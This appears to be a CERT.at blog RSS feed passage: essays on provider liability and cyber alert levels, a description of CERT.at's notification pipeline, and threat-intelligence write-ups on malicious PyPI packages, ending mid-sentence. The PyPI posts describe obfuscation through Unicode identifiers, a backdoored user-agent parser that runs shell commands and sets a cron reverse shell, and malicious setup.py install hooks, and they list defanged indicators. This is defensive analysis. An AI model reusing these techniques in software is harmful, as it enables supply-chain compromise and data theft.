Google&rsquo;s search engine revenue, it is certainly possible to resolve routine complaints within 30 minutes, on a 24x7 coverage. If they are not able to do it, make them both liable for damages caused by their inaction and impose regulatory fines on them.</p> <p>For smaller companies, the response time requirements can be scaled down to levels that even a mom &amp; pop ISP can handle.</p> <h3 class="block">Content Delivery Network liability</h3> <p>The same applies to content delivery networks: such CDNs are often abused to shield criminal activities. By hiding behind a CDN, it becomes harder to take down the content at the source, it becomes tricky to just firewall off the sewers of the Internet and even simple defensive measures like blocking JavaScript execution by domain are disrupted if the CDN serves scripts from their domains.</p> <p>Cloudflare boasts that a significant share of all websites is now served using their infrastructure. Still, they only commit to a 24h reaction time on abuse complaints for things like investment fraud.</p> <p>With great market-share comes great responsibility.</p> <p>We really need to forcibly re-adjust their priorities. It might be a feel-good move for libertarians to enable free speech, and sometimes controversial content really needs protection. But Cloudflare is acting like a polluter who doesn&rsquo;t really care what damage their actions cause on others.</p> <p>Even in the libertarian heaven, good behaviour is triggered by internalizing costs by making liabilities explicit.</p> <h3 class="block">Webhoster liability</h3> <p>The same applies to the actual hosters of malicious content. In the western world, we need to give webhosters a size-dependent deadline for reacting to abuse-reports. For the countries who do not manage to create and enforce similar laws, the rest of the world need to react by limiting the reachability of non-conforming hosters.</p> <h2 class="block">Keeping the IT market healthy</h2> <p>Market monopolies are bad for security. They create a uniform global attack surface and distort the security incentives. This applies both to the software, the hardware/firmware side, the cloud as well as to the ISP ecosystem.</p> <h2 class="block">What can the military do?</h2> <p>In the physical word, the military is the ultimate deterrence against nation state transgressions. This is really hard to translate to cyber-security. I mentioned MAD above. This is really tricky: what is the proper way of retaliation? How do we avoid a dangerous escalation of hack, hack-back and hack-back-back?</p> <p>Or should we relish in the escalation? A colleague recently mentioned that some ransomware gang claimed to have hacked the US Federal Reserve and is threatening to publish terabytes of stolen data. I half joked by replying with "If I were them, I'd start to worry about a kinetic response by the US."</p> <p>There are precedents. Some countries are well known to react violently if someone decides to take one of their citizens as hostage. No negotiations. Only retribution with whatever painful means are available.</p> <p>Some cyber-attacks have a similar impact as violent terrorist attacks, just look at the ripple on effect on hospitals in London following the attack on Synnovis. So why should our response portfolio against ransomware actors rule out some the options we keep open for terrorists?</p> <h2 class="block">Free and open vs. closed and secure</h2> <p>Overall, there seem to be two major design decisions that have a major cyber security impact.</p> <p>First, the Internet is a content-neutral, global packet-switched network, for which there is only a very limited consensus regarding the rules that its operators and users should adhere to. And there are even fewer global enforcement possibilities for the little rules that we can agree on.</p> <p>On one hand, this is good. We do not want to live in a world where the standards for the Internet are set and enforced by oppressive regimes. The global reach of the Internet is also a net positive: it is good that there is a global communication network that interconnects all humans. Just as the phone network connects all countries, the global reach of the Internet has the potential to foster communication across borders and can bring humanity together. We want dissidents in Russia and China to be able to communicate with the outside world.</p> <p>On the other hand, this leads to the effects described in the first section: geography has no meaning on the Internet; thus, we&rsquo;re importing the shadiest locations of the Internet right into our living rooms.</p> <p>We simply can&rsquo;t have both: a global, content agnostic network that reaches everybody on the planet, and a global network where the behaviour that we find objectionable is consistently policed.</p> <p>The real decision is thus where to compromise: On "global", by e.g. declining to be reachable from the swamps of the Internet, or on "security": live with the dangers that arise from this global connectivity.</p> <p>The important part here is: this is a decision we need to take. Individually, as organisation and, perhaps, as a country.</p> <p>We face a similar dilemma with our computing infrastructure: The concept of the generic computer, the open operating systems, the freedom to install third-party programs and the availability of accessible programming frameworks plus a wealth of scripting languages are essential for the speed of innovation. A closed computing environment can never be as vibrant and successful.</p> <p>The ability to run arbitrary new code is both a boon for innovation, but also creates the danger of malicious code being injected into our system. Retrofitting more control here (application allowlisting, signed applications, strong application isolation, walled garden app-stores, &hellip;) can mitigate some of the issues, but will never reach the security properties of system that was designed to run exactly one application and doesn&rsquo;t even contain the foundations for running additional code.</p> <p>Again, there is a choice we need to make: do we prefer open systems with all their dangers, or do we try to nail things down to lower the risks? This does not need to be a global choice: we should probably choose the proper flexibility vs. security setting depending on intended use of an IT system. A developer&rsquo;s box needs not have the same setting as a tablet for a nursing home resident.</p> <h2 class="block">Technical solutions &ndash; just don&rsquo;t be easily hackable?</h2> <p>In an ideal world, our IT systems would be perfectly secure and would not be easy pray for cyber-criminals and nation state actors. Yes, any progress in securing our infrastructure is welcome, but we cannot simply rely on this path. Nevertheless, there are a few low hanging fruits we need to take:</p> <ul> <li>Default configurations: Networked devices need to come with defaults that are reasonably secure. Don&rsquo;t expect users to go through all configuration settings to secure a product that they bought. This can be handled via regulation.</li> <li>Product liability is also an interesting approach. This is not trivial to get right, but certain classes of security issues are so basic that failing to protect against them amounts to gross negligence in 2024. For example, we recently saw several path traversal vulnerabilities in edge-devices sold in 2024 by security companies with more than a billion-dollar market cap. Sorry, such bugs should not happen in this league.</li> </ul> <p>The Cyber Resilience Act is an attempt to address these issues. I have no clue whether it will actually work out well.</p> <p>While I hope that we will manage to better design and operate our critical IT infrastructure in the future, this is not the part where I&rsquo;d put my money on. We&rsquo;ve been chasing that goal for the last 25 years and it hasn&rsquo;t been working out so great.</p> <p>We really need to start thinking outside the box.</p>Mon, 01 Jul 2024 16:06:58 GMT+0100https://www.cert.at/en/blog/2024/7/csirt-le-militaryCERT.at2024-07-01T16:06:58Zhttps://www.cert.at/en/blog/2024/6/how-we-cover-your-back<p class="block" style="text-align: justify;">As a national CERT, one of our extremely important tasks is to proactively inform network operators about potential or confirmed security issues that could affect Austrian companies. Initially, I intended to discuss the technical changes in our systems, but I believe it's better to start by explaining what we actually do and how we help you sleep well at night &mdash; though you should never rely solely on us!</p> <h2 class="block">Understanding the Security Landscape</h2> <p class="block" style="text-align: justify;">Consider the vastness of the Internet: millions of connected devices, millions of different configurations, and thousands of solutions. In Austria alone, shodan.io reports approximately 1.7 million devices accessible online <a href="#references">[1]</a>. These include web and mail servers, VPN endpoints, databases, and virtually anything else you can imagine connected to the Internet. Such devices can be misconfigured, exposed by mistake, or have critical vulnerabilities. While the owners are primarily responsible for their services, we enhance the security of Austrians by notifying network operators of significant issues.</p> <p class="block" style="text-align: justify;">As you can imagine, handling every possible case would be impossible. Therefore, we focus on the most typical issues and automate much of our processes. Our approach heavily relies on automated data processing and sending notifications via email. To accomplish this, we subscribe to data feeds from partners like ShadowServer<a href="#references"> [2]</a>, a non-profit organization, and process them with an open-source solution called IntelMQ <a href="#references">[3]</a>. We handle about 90 thousand events daily, resulting in approximately 3-4 thousand emails sent out each month.</p> <p class="block" style="padding-left: 30px; text-align: justify;">With few exceptions, we do not scan online accessible devices. Firstly, we lack the resources to scan the Internet for so many different cases independently. Moreover, scanning poses legal challenges; it's entirely illegal in some countries, while others permit it. We might eventually gain the explicit right, and in some cases, even the obligation to perform scans under the NIS2 law. However, it&rsquo;s still just a draft <a href="#references">[4]</a>, and we are waiting for the final version.</p> <p class="block" style="padding-left: 30px; text-align: justify;">Our partners who conduct scans ensure they do so legally and non-intrusively, typically operating their servers in countries where scanning isn&rsquo;t prohibited. This is the approach chosen by ShadowServer <a href="#references">[5]</a>, our main data source.</p> <h2 class="block" style="text-align: justify;">Our Role</h2> <p class="block" style="text-align: justify;">If we don&rsquo;t scan, what exactly is our role? Simply put: we inform YOU. The details, however, are more complex. Simplifying, we manage two types of data feeds: regular, fully automated feeds, and urgent feeds received e.g. during ongoing incidents from researchers who have identified vulnerable or infected devices.</p> <p class="block" style="text-align: justify;">The automated feeds are immediately processed by our IntelMQ system. Urgent data feeds first go through <span style="text-decoration: line-through;">ChatGPT</span>&nbsp;a human element &mdash; our Coordination Team (the friendly people who respond to your emails and monitor current threats, as seen in our daily news selections <a href="#references">[6]</a>) and, if necessary, our Analysis Team (other nice people who specialize in deciphering what is really happening). They assess the information's source and relevance to ensure it pertains to significant incidents and that we keep you informed about what truly matters without spamming you.</p> <p class="block" style="text-align: justify;">Later, everything proceeds through IntelMQ, where our workflows are largely similar for both types of cases. We standardize the format, de-duplicate (to avoid sending you multiple notifications about the same issue from different sources), and seek contact data for the operators of the affected devices and services to make our notifications as valuable as possible. Each morning, we send these notifications via email to network operators. In urgent cases, the Coordination Team may decide to send notifications at any time.</p> <p class="block" style="text-align: justify;">Then, the ball is in your court: you need to decide what to do with the information. This usually involves patching affected software or restricting access to services, though sometimes you may decide the current configuration is necessary and choose to keep a database open, for example. You can always write back to us for clarifications or to request exclusion from future notifications. If no action is taken, we will notify you again, typically every 30 days, depending on the issue's criticality.</p> <p class="block" style="padding-left: 30px; text-align: justify;">We strive to maintain a low level of false positives &mdash; no one wants to deal with them. However, we send notifications in dozens of cases <a href="#references">[7]</a>, and you might occasionally leave access to a service open intentionally, perhaps because it contains public data or for other reasons. While this may be acceptable, we urge you to consider such decisions carefully, especially when you receive a notification from us. In many cases, services left intentionally open can be exploited for (D)DoS amplification attacks &mdash; a situation where a threat actor tricks your system into sending a large amount of data to the targeted victim, as seen in well-known attacks leveraging Memcache <a href="#references">[8]</a>. When operating services accessible online, please consider not only your own needs but also take steps to minimize the risk of your systems being used to harm others.</p> <div class="block" style="text-align: center;"><a title="Show full picture" href="https://www.cert.at/media/files/news/blog/20240610/feeds-process.png"><img src="https://www.cert.at/media/files/news/blog/20240610/feeds-process.png" alt="How the data are processed at CERT.at" width="766" height="250" /></a></div> <div class="block" style="text-align: center;"><em>How the data are processed at CERT.at</em></div> <h2 class="block">Do We Know You?</h2> <p class="block" style="text-align: justify;">Probably not &mdash; and that's a challenge. The effectiveness of our notifications largely depends on whether they reach the right person. Finding accurate contact data is not straightforward, and this is an area where we invest significant effort to improve.</p> <p class="block" style="text-align: justify;">Our security issue notifications typically target specific servers identified by their IP addresses. The first place we look for contact information is the RIPE Database <a href="#references">[9]</a>. For example, if we receive an event related to an IP in a network operated by nic.at, our parent company, we can directly access the RIPE Database for relevant abuse contacts <a href="#references">[10]</a>. This method works best for organizations that manage their own IP ranges and maintain current, monitored abuse contacts.</p> <p class="block" style="text-align: justify;">However, it's often not so simple. Many times, we only receive a generic abuse email from an Internet Service Provider or hosting platform. While we send the notification, ensuring it reaches the operators responsible for the actual services depends on each company's internal procedures. We appreciate those who take this responsibility seriously (thank you!), but others struggle with properly forwarding notifications to the relevant caretakers.</p> <p class="block" style="padding-left: 30px; text-align: justify;">While we cannot influence how ISPs handle our notifications, their clients can take steps to ensure notifications are passed along. Perhaps you might consider asking your providers how they manage such notifications?</p> <p class="block" style="text-align: justify;">To address these issues, we maintain internal contacts with a list of operators. Currently, this system does not scale well as we mostly have information for organizations we directly work with, and updating contacts is mostly manual.</p> <p class="block" style="text-align: justify;">Our attempt to solve this problem is building a professional Constituency Portal <a href="#references">[11]</a>. We have already migrated a significant portion of our contact data there and are working on further integrations with our internal systems. Soon, users of the Portal will be able to provide abuse contacts and manage the types of notifications they wish to receive from us. Access to the portal is currently very limited, but we hope to onboard more organizations this year.</p> <h2 class="block">Staying Up-to-Date</h2> <p class="block" style="text-align: justify;">Another challenge we face is deciding which data we process automatically and keeping an eye on existing sources. This is crucial for providing trustworthy and accurate information.</p> <p class="block" style="text-align: justify;">Over the past year, we developed a process that includes regular meetings of representatives from all involved teams. Every two weeks, we discuss all recent and incoming changes in our notification system. New data feeds, which we learn about from our current sources, private connections, meetings at different events, or public announcements, are briefly discussed. If needed, the Analysis Team has a closer look. The Coordination Team shares feedback experiences and prepares necessary communications. Finally, the Data &amp; Development Team is responsible for integrating the data feed and ensuring that the system operates smoothly daily.</p> <p class="block" style="text-align: justify;">This new process and a one-time review of existing sources resulted in a significant increase in the types of issues we process. For our main provider, ShadowServer, we doubled the number of processed feeds in the last year, currently supporting about 70 of their feeds. For most data, we also have prepared short descriptions available on our website <a href="#references">[12]</a>.</p> <h2 class="block" style="text-align: justify;">It's Just the Beginning</h2> <p class="block" style="text-align: justify;">I've briefly described how we attempt to proactively inform network operators about potential issues. While we do our best to constantly expand our coverage and improve notification delivery, it's crucial to emphasize: we do not replace your responsibility for your services. We are here to help, but ultimately, you are responsible for your services. We do not see everything, we do not check everything, and most importantly, even if we try to be as quick as possible, if we have notified you, threat actors may have already noticed your service. Be proactive, responsible, and take timely precautions.</p> <p class="block" style="text-align: justify;">This post is just a small sample from our daily tasks, based on what I&rsquo;m personally involved in. We provide many more services, including issuing public warnings, monitoring news sources, responding to incidents, sharing IoCs, and collecting NIS incident notifications. Every day, we do our best to cover your back.</p> <h3 class="block" style="text-align: justify;"><a id="references"></a>References</h3> <p class="block">[1] <a href="https://www.shodan.io/search?query=country%3AAT">https://www.shodan.io/search?query=country%3AAT</a> [2024-05-15]<br />[2] <a href="https://www.shadowserver.org/">https://www.shadowserver.org</a> <br />[3] <a href="https://github.com/certtools/intelmq">https://github.com/certtools/intelmq</a><br />[4] <a href="https://www.ris.bka.gv.at/Dokument.wxe?Abfrage=Begut&amp;Dokumentnummer=BEGUT_42FD65C8_76B7_40F0_97E3_BB29BDFC0CE9">https://www.ris.bka.gv.at/Dokument.wxe?Abfrage=Begut&amp;Dokumentnummer=BEGUT_42FD65C8_76B7_40F0_97E3_BB29BDFC0CE9</a><br />[5] <a href="https://www.shadowserver.org/faq/is-scanning-legal/">https://www.shadowserver.org/faq/is-scanning-legal/</a><br />[6] <a href="https://www.cert.at/de/meldungen/tagesberichte/">https://www.cert.at/de/meldungen/tagesberichte/</a>&nbsp; (partially in German only)<br />[7] <a href="https://www.cert.at/de/services/daten-feeds/vulnerable/">https://www.cert.at/de/services/daten-feeds/vulnerable/</a> <br />[8] <a href="https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/">https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/</a> <br />[9] <a href="https://apps.db.ripe.net/db-web-ui/query">https://apps.db.ripe.net/db-web-ui/query</a> <br />[10] <a href="https://apps.db.ripe.net/docs/Types-of-Queries/Abuse-Contacts/">https://apps.db.ripe.net/docs/Types-of-Queries/Abuse-Contacts/</a> <br />[11] <a href="https://tuency.cert.at/docs/">https://tuency.cert.at/docs/</a> <br />[12] <a href="https://www.cert.at/de/services/daten-feeds/vulnerable/">https://www.cert.at/de/services/daten-feeds/vulnerable/ </a></p>Mon, 10 Jun 2024 08:37:37 GMT+0100https://www.cert.at/en/blog/2024/6/how-we-cover-your-backCERT.at2024-06-10T08:37:37Zhttps://www.cert.at/en/blog/2024/4/double-agents-and-user-agents-navigating-the-realm-of-malicious-python-packages<p class="block" style="text-align: justify;">Have you ever encountered the term 'double agent'? Recently, we've had the opportunity to revisit this concept in Austria. Setting aside real-world affairs for prosecutors and journalists, let&rsquo;s explore what this term means in the digital world as I continue <a href="https://cert.at/en/blog/2024/3/hobby-hunter-notes-pypi-under-attack">my journey</a> tracking malicious Python packages.</p> <h2 class="block">Open Source is a key!</h2> <p class="block" style="text-align: justify;">Suppose you were a <span style="text-decoration: line-through;">script kiddie</span>&nbsp;<span style="text-decoration: line-through;">threat actor</span>&nbsp;<em>researcher</em> looking to <span style="text-decoration: line-through;">snag some cookies</span> <em>analyse new tools used to steal information from victims</em> &mdash; where would you head? You might choose from several options, but let&rsquo;s assume you love open source and decide to visit GitHub, one of the largest platforms for open source projects. It&rsquo;s an excellent resource for almost everything IT-related, including educational materials on malware builders.</p> <p class="block" style="padding-left: 30px; text-align: justify;">I tricked you a bit there &mdash; did you catch it? Not everything on GitHub is open source, even if the source code is visible. Moreover, &ldquo;open source&rdquo; doesn't mean the same thing in every context. It&rsquo;s crucial to always check the licence.&nbsp;Always check the licence.</p> <p class="block" style="text-align: justify;">For instance, on GitHub, you can find the Oak Token Grabber V2. It offers a builder to customize a grabber (information stealer malware). Check out these features:</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240422/oak_capabilities.png" alt="A screenshot of the README from the repository dreamyoak/Oak-Grabber-V2" width="415" height="400" /></div> <div class="block" style="text-align: center;"><em>A screenshot of the README from the repository </em>dreamyoak/Oak-Grabber-V2</div> <p class="block" style="text-align: justify;">This repository isn&rsquo;t new; it existed already in the middle of last year <a href="#references">[1]</a>. When I visited, there was a link to a website offering paid versions of educational RAT grabbers and other services. This isn't unusual. Reviewing the repository's history showed no activity for a year between March 2023 and March 2024, then suddenly, an author with a slightly different name (<em>dreamyoak</em> instead of the original <em>dynastyoak</em>) began updating the code. This suggests that the repository had been moved or perhaps taken down in the past year.</p> <p class="block" style="padding-left: 30px; text-align: justify;">A brief note on analysing the history of git repositories: like anything, you cannot blindly trust the data provided by git. For instance, dates can be easily tampered with by the commit author. However, in this case, all changes were made through the GitHub web interface, which means such commits are automatically signed by GitHub, and we can verify them using their public key <a href="#references">[2]</a>.</p> <p class="block">What did the new author do? The most significant change was the introduction of a new dependency that did quite a bit: collecting Wi-Fi passwords, PowerShell history, installed applications, desktop screenshots, and more. Yet, there was one tiny detail.</p> <p class="block" style="text-align: justify;">These weren't features of the builder.</p> <p class="block" style="text-align: justify;">This data was collected from people trying to build malware, effectively acting as a double agent spying on both sides.</p> <p class="block" style="text-align: justify;">In short, a grabber builder was transformed into a grabber itself. The dependency &mdash; a Python package uploaded to PyPI &mdash; was imported by the builder when used, then it automatically downloaded an actual grabber that collected and exfiltrated data. This was, in fact, the grabber advertised on the website &mdash; the Nagogy Grabber &mdash; first observed at least a year ago <a href="#references">[3]</a>. It can be easily detected with a YARA rule from Any.run <a href="#references">[4]</a>.</p> <p class="block" style="text-align: justify;">While the malicious dependency straightforwardly downloaded and ran the actual grabber, a very clever old technique was used to evade static analysers. Python is one of the languages that does not require source code to be written using pure ASCII characters. PEP 3131 introduced support for any characters that can be normalized and defined Python behaviour as follows: &ldquo;All identifiers are converted into the normal form NFKC while parsing; comparison of identifiers is based on NFKC.&rdquo; <a href="#references">[5]</a></p> <p class="block" style="text-align: justify;">What does this mean? Consider the example below. In the first two lines, I used simple 'u' and 'a' letters. But the characters in the third line aren&rsquo;t them any more&mdash;those are &ldquo;Mathematical Sans-Serif Bold Italic Small U&rdquo; <a href="#references">[6]</a> and &ldquo;Mathematical Sans-Serif Bold Small A.&rdquo; <a href="#references">[7]</a> Both are part of the Unicode specification, and as you can see, even though they don&rsquo;t graphically match the variable identifiers from previous lines, Python was able to process the statement successfully. This was possible thanks to the normalization, which translated the characters to ASCII before evaluation.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240422/python-unicode-example.png" alt="An example of mixing ASCII and Unicode characters in identifiers that could confuse people but not Python" width="132" height="121" /></div> <div class="block" style="text-align: center;"><em>An example of mixing ASCII and Unicode characters in identifiers that could confuse people but not Python</em></div> <p class="block" style="text-align: justify;">This feature isn't often used, but authors of malicious code learned years ago that many static analysers do not follow PEP 3131 and won&rsquo;t recognize what the code in the picture below, sampled from the malicious package imported by the mentioned grabber builder, really does.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240422/code%20fragment.png" alt="This is an entirely valid Python code downloading and running a malicious executable" width="843" height="274" /></div> <div class="block" style="text-align: center;"><em>This is an entirely valid Python code downloading and running a malicious executable</em></div> <p class="block" style="text-align: justify;">The author of the Oak-Grabber-V2 seemed quite determined to maintain the double agent feature. After removing malicious packages from PyPI, they were quickly introduced new ones and updated the repository. Observing the stars and forks statistics captured by archive.org, the repository doubled its popularity in just a few days between February 27 and March 7 <a href="#references">[8]</a> <a href="#references">[9]</a>. It appears the author promoted the tool aggressively and later tried to extract data from its users &mdash; the 'double agent' feature was introduced on April 11. This cat-and-mouse game finished when GitHub removed the repository on April 16.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240422/27th%20Feb%20Oak.png" alt="Repository stats on February 27" width="218" height="250" /> <img src="https://www.cert.at/media/files/news/blog/20240422/Oak%207%20March.png" alt="Repository stats on March 7" width="258" height="250" /></div> <div class="block" style="text-align: center;"><em>Comparison of the repository statistics on February 27 <a href="#references">[8]</a> and March 7 <a href="#references">[9]</a><br /></em></div> <h2 class="block" style="text-align: left;">User agent control<em><br /></em></h2> <p class="block">It wasn&rsquo;t just one 'agent' found recently. I came across another Python package that offered a unique functionality &mdash; controlling your server via the User-Agent header!</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240422/ua_execution.png" alt="A sample from the user-agents-parser package" width="442" height="98" /></div> <div class="block" style="text-align: center;"><em>A sample from the </em><code>user-agents-parser</code><em> package</em></div> <p class="block" style="text-align: justify;">This innovative feature was embedded within a clone of a popular package designed to parse user-agent strings <a href="#references">[10]</a>, which are self-descriptions browsers send to servers with every request <a href="#references">[11]</a>. Web applications often use these strings for different purposes, like directing users to a mobile site or gathering statistics. In this instance, the author replicated an existing package but added a twist: the strings could execute as shell commands before being parsed. Despite the modification, the packages maintained their original functionality, meaning you wouldn't know you were using a compromised package unless a specific request triggered the command execution.</p> <p class="block" style="text-align: justify;">Moreover, the package creator employed another common tactic worth noting: they preserved the original project's website and author information, which are typically displayed on package index pages like PyPI. These stats can mislead users into trusting a seemingly popular and secure package.</p> <p class="block" style="text-align: justify;">PyPI recently took steps to prevent such deception by clearly indicating which data are verified and which are not &mdash; a significant improvement.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240422/pypi_old.png" alt="Stats in PyPI - old version" width="182" height="300" /> <img src="https://www.cert.at/media/files/news/blog/20240422/pypi_new.png" alt="PyPI stats - new" width="198" height="300" /></div> <div class="block" style="text-align: center;"><em>Left &ndash; a screen from a repository captured in archive.org <a href="#references">[12]</a>, right &ndash; another repository, state as of today <a href="#references">[10]</a>.</em></div> <p class="block" style="text-align: left;">After I reported the package, Mike Fiedler from PyPI security team found that its earlier version was also trying to establish a persistent reverse shell by registering a cron job.</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240422/ua_shell.png" alt="" width="667" height="124" /></div> <div class="block" style="text-align: center;"><em>An earlier version of </em><code>user-agents-parser</code><em> was trying to use crontab for persistence</em></div> <h2 class="block" style="text-align: left;">Final thoughts</h2> <p class="block" style="text-align: justify;">All associated packages were removed from the PyPI, and the Oak-Grabber-V2 repository was shut down by GitHub. However, this isn't the first or last time we'll encounter such threats. If you're looking for advice, I've noted some tips in my <a href="https://cert.at/en/blog/2024/3/hobby-hunter-notes-pypi-under-attack">last post</a>. But most importantly, avoid downloading random software, even if it's for educational purposes.</p> <h3 class="block" style="text-align: justify;">IoCs</h3> <ul> <li class="block">Malicious packages used by Oak-Grabber-V2: <code>argsreq</code>, <code>colarg</code>, <code>colargs</code>, <code>reqarg</code>, <code>reqargs </code></li> <li class="block">URLs with the actual grabber: <ul> <li class="block"><code>hxxps://api.dreamyoak[.]xyz/cdn/file</code></li> <li class="block"><code>hxxps://api2.dreamyoak[.]xyz/cdn/file</code></li> </ul> </li> <li>Malicious packages pretending to be user agent parser: <code>user-agents-parser</code>, <code>user-agents-parsers</code></li> <li>IP used in an attempt for reverse shell: <code>95.179[.]177[.]74</code></li> </ul> <h3 class="block"><a id="references"></a>References</h3> <p class="block">[1] https:&nbsp;//web.archive.org/web/20230731214919/https://github.com/dreamyoak/<br />[2] <a href="https://github.com/web-flow.gpg">https://github.com/web-flow.gpg</a><br />[3] <a href="https://twitter.com/MalGamy12/status/1698367753919357255">https://twitter.com/MalGamy12/status/1698367753919357255</a><br />[4] <a href="https://github.com/anyrun/YARA/blob/73fba11a040629e147281aa0528439d72fb5402a/NagogyGrabber.yar">https://github.com/anyrun/YARA/blob/73fba11a040629e147281aa0528439d72fb5402a/NagogyGrabber.yar</a><br />[5] <a href="https://peps.python.org/pep-3131/">https://peps.python.org/pep-3131/</a><br />[6] <a href="https://unicodeplus.com/U+1D66A">https://unicodeplus.com/U+1D66A <br /></a>[7] <a href="https://unicodeplus.com/U+1D5EE">https://unicodeplus.com/U+1D5EE</a><br />[8] https:&nbsp;//web.archive.org/web/20240227221457/https://github.com/c/Oak-Grabber-V2?tab=readme-ov-file<br />[9] https:&nbsp;//web.archive.org/web/20240307140321/https://github.com/dreamyoak/Oak-Grabber-V2<br />[10] The original, safe package is here: <a href="https://pypi.org/project/user-agents/">https://pypi.org/project/user-agents/</a><br />[11] <a href="https://developer.mozilla.org/en-US/docs/Glossary/User_agent">https://developer.mozilla.org/en-US/docs/Glossary/User_agent</a><br />[12] <a href="https://web.archive.org/web/20240117161520/https://pypi.org/project/adafruit-circuitpython-htu31d/">https://web.archive.org/web/20240117161520/https://pypi.org/project/adafruit-circuitpython-htu31d/</a></p>Mon, 22 Apr 2024 15:12:10 GMT+0100https://www.cert.at/en/blog/2024/4/double-agents-and-user-agents-navigating-the-realm-of-malicious-python-packagesCERT.at2024-04-22T15:12:10Zhttps://www.cert.at/en/blog/2024/4/on-cybersecurity-alert-levels<p>Last week I was invited to provide input to a tabletop exercise for city-level crisis managers on cyber security risks and the role of CSIRTs. The organizers brought a color-coded threat-level sheet (based on the <a href="https://www.cisecurity.org/cybersecurity-threats/alert-level" target="_blank" rel="noreferrer noopener">CISA Alert Levels</a>) to the discussion and asked whether we also do color-coded alerts in Austria and what I think of these systems.</p> <p>My answer was negative on both questions, and I think it might be useful if I explain my rationale here. The first was rather obvious and easy to explain, the second one needed a bit of thinking to be sure why my initial reaction to the document was so negative.</p> <h2>Escalation Ratchet</h2> <p>The first problem with color-coded threat levels is their tendency to be a one-way escalation ratchet: easy to escalate, but hard to de-escalate. I&rsquo;ve been hit by that mechanism before during a real-world incident and that led me to be wary of that effect. Basically, the person who raises the alert takes very little risk: if something bad happens, they did the right thing, and if the danger doesn&rsquo;t materialize, then &ldquo;better safe than sorry&rdquo; is proclaimed, and everyone is happy, nevertheless. In other words, raising the threat level is a safe decision.</p> <p>On the other hand, lowering the threat level is an inherently risky decision: If nothing bad happens afterwards, there might be some &ldquo;thank you&rdquo; notes, but if the threat materializes, then the blame falls squarely on the shoulders of the person who gave the signal that the danger was over. Thus, in a CYA-dominated environment like public service, it is not a good career move to greenlight a de-escalation.</p> <p>We&rsquo;ve seen this process play out in the non-cyber world over the last years, examples include</p> <ul> <li>Terror threat level after 9/11</li> <li>Border controls in the Schengen zone after the migration wave of 2015</li> <li>Coming down from the pandemic emergency</li> </ul> <p>That&rsquo;s why I&rsquo;ve always been pushing for clear de-escalation rules to be in place whenever we do raise the alarm level.</p> <h2>Cost of escalation</h2> <p>For threat levels to make sense, any level above &ldquo;green&rdquo; need to include a clear guidance what the recipient of the warning should be doing at this threat level. In the example I saw, there was a lot of &ldquo;Identify and patch vulnerable systems&rdquo;. Well, D'oh! This is what you should be doing at level green, too.</p> <p>Thus, relevant guidance at higher level needs to be more than &ldquo;protect your systems and prepare for attacks&rdquo;. That&rsquo;s a standing order for anyone doing IT operation, this is useless advice. What people need to know is what costs they should be paying in exchange for a better preparation against the current threat.</p> <p>This could be a simple thing like &ldquo;We expect a patch for a relevant system to be released out of our office-hours tonight, we need to have a team on standby to react as quickly as possible, and we&rsquo;ve willing to pay for the overtime work to have the patch deployed ASAP&rdquo;. Or the advice could be &ldquo;You need to patch this outside your regular patching cadence, plan for a business disruption and/or night shifts for the IT people&rdquo;. At the extreme end, it might even be &ldquo;we&rsquo;re taking service X out of production, the changes to the risk equation mean that its benefits can&rsquo;t justify the increased risks anymore&rdquo;.</p> <p>To summarize: if there were no hard costs to a preventative security measure, then you should have implemented them a long time ago, regardless of any threat level board.</p> <h2>Counterpoint</h2> <p>There is definitely value in categorizing a <em>specific</em> incident or vulnerability in some sort of threat level scheme: A particularly bad patch day, or some out-of-band patch release by an important vendor certainly is a good reason that the response to the threat should also be more than business as usual.</p> <p>But a generic threat level increase without concrete vulnerabilities listed or TTPs to guard against? That&rsquo;s just a fancy way of saying &ldquo;be afraid&rdquo; and there is little benefit in that.</p> <p><strong>Postscript:</strong> Just after posting this article, I stumbled on a <a href="https://things.uk/@eclectech/112195378556075301">fediverse post</a> making almost the same argument, just with April 1st vs. the everyday flood of misinformation.</p>Tue, 02 Apr 2024 13:57:46 GMT+0100https://www.cert.at/en/blog/2024/4/on-cybersecurity-alert-levelsCERT.at2024-04-02T13:57:46Zhttps://www.cert.at/en/blog/2024/3/hobby-hunter-notes-pypi-under-attack<p class="block" style="text-align: justify;">When I wrap up at CERT.at, where I mostly work on our notification system (if you&rsquo;re a network operator in Austria and got a misassigned notification about some security issues &ndash; I might have been involved in that), I sometimes change my hat and explore other &ldquo;cyber&rdquo;-security areas, especially looking for malicious packages in PyPI, a standard Python package repository. The short summary is: there are a lot of them &ndash; but also, don&rsquo;t panic.</p> <h2 class="block">It&rsquo;s happening now</h2> <p class="block" style="text-align: justify;">Let&rsquo;s start with a rough analysis of a recent campaign that could be named &ldquo;funcaptcha.&rdquo; According to records I was able to access, it started the day before yesterday (26th March) with a package called &ldquo;schubismomv3&rdquo;, but a post on Twitter [0] suggests there might have already been more by the time this gained my attention.</p> <p class="block" style="text-align: justify;">As per my findings, the first version of the package was published around 18:00 on March&nbsp;26th (all timestamps are UTC+1), starting&nbsp;without any active malicious content, but included hate speech and used the name of a well-known security researcher [0].</p> <div class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20240328/Screenshot%20from%202024-03-27%2009-55-18%20%28copy%29.png" alt="A sample from first version of &ldquo;schubismomv3&rdquo; package" width="540" height="402" /></div> <div class="block" style="text-align: center;"><em>A sample from first version of &ldquo;schubismomv3&rdquo; package<br /></em></div> <p class="block" style="text-align: justify;">Over multiple iterations with an apparently &ldquo;trial and error&rdquo; approach (Have you heard about testing your software locally? Or a test environment? No? Sorry, I might be biased. I&rsquo;m primarily a developer.) we ended up with version 1.10.0 published around 20:30. It used classic methods:</p> <ul> <li class="block" style="text-align: justify;">the setup.py script was configured with a custom installation command overriding the default</li> <li class="block" style="text-align: justify;">during the installation on Windows OS, a sub process was started with an encrypted script inside</li> <li class="block" style="text-align: justify;">the malicious script used the &ldquo;Fernet&rdquo; encryption library to avoid automated 